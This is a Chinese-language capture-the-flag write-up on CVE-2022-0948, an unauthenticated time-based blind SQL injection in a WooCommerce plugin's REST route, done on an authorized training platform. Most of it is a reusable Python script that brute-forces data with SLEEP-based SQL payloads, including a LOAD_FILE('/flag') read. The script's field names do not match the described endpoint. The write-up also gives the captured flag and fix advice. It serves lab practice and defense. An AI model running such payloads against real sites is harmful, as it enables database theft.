春秋云镜靶场漏洞复现：CVE-2022-0948 Order Listener for WooCommerce REST SQL 注入

环境：春秋云境“免费空间”授权实验靶场。历史实例已关闭。

1. 基本信息

项目	内容
CVE	CVE-2022-0948
产品	Order Listener for WooCommerce 3.2.1
入口	/olistener/new
条件	未认证 REST 路由
漏洞类型	SQL 时间盲注
Flag	flag{442494e7-4341-47ad-8f46-bbfbc0cf5d84}

2. 原理与复现

REST 路由未认证，参数进入 SQL 查询。向路由提交真假条件和 SLEEP，以响应时间作为 oracle，逐位提取 flag 表内容：

POST /olistener/new HTTP/1.1
Host: <WooCommerce-靶场域名>
Content-Type: application/x-www-form-urlencoded

<参数>=<time-based-payload>

当字符匹配时触发延时，循环位置和候选字符恢复：

flag{442494e7-4341-47ad-8f46-bbfbc0cf5d84}

Python 爆破脚本（时间盲注）

仅对本题授权靶场使用。先按本文关键请求设置 URL、METHOD、LOCATION、FIELD、SOURCE、基础表单和 Cookie；SOURCE 使用本题已确认的 flag 表达式或 /flag 读取表达式。

import string
import time
import requests

URL = "https://<authorized-target>/<endpoint>"
METHOD = "POST"                 # GET 或 POST
LOCATION = "form"               # form、query 或 cookie
FIELD = "user_name"
SOURCE = "LOAD_FILE('/flag')"   # 或 (SELECT flag FROM ctf.flag LIMIT 1)
BASE_DATA = {"password": "<value>"}
BASE_COOKIES = {}
DELAY = 3.0
THRESHOLD = 2.0
MAX_LEN = 80
ALPHABET = string.ascii_letters + string.digits + "{}_@.-,:/"

session = requests.Session()

def send(payload):
    if LOCATION == "cookie":
        cookies = dict(BASE_COOKIES)
        cookies[FIELD] = payload
        return session.request(METHOD, URL, cookies=cookies, timeout=DELAY + 5)
    if LOCATION == "query" or METHOD == "GET":
        return session.get(URL, params={FIELD: payload}, timeout=DELAY + 5)
    data = dict(BASE_DATA)
    data[FIELD] = payload
    return session.post(URL, data=data, timeout=DELAY + 5)

def extract_flag():
    result = ""
    for pos in range(1, MAX_LEN + 1):
        for ch in ALPHABET:
            code = ord(ch)
            payload = (
                f"' AND IF(ASCII(SUBSTRING({SOURCE},{pos},1))={code},"
                f"SLEEP({DELAY}),0)-- -"
            )
            started = time.monotonic()
            send(payload)
            if time.monotonic() - started >= THRESHOLD:
                result += ch
                print(f"{pos:02d}: {result}", flush=True)
                break
        else:
            break
        if result.endswith("}"):
            break
    return result

if __name__ == "__main__":
    print("recovered:", extract_flag())

脚本逐位置遍历候选字符，条件为真时触发 SLEEP，并以超过 THRESHOLD 的耗时作为 oracle。运行前先用已知真假条件校准 DELAY/THRESHOLD，并把候选字符集限制在题目实际 Flag 格式内。

3. 修复建议与验证

对 REST 路由增加认证、权限和 nonce；使用参数化查询，限制数据库账号权限，避免可观测时间 oracle。Flag 与平台记录一致，已提交并关闭。原始参数/阈值未保存，截图已保存到 images 目录并由平台详情页复核。

截图证据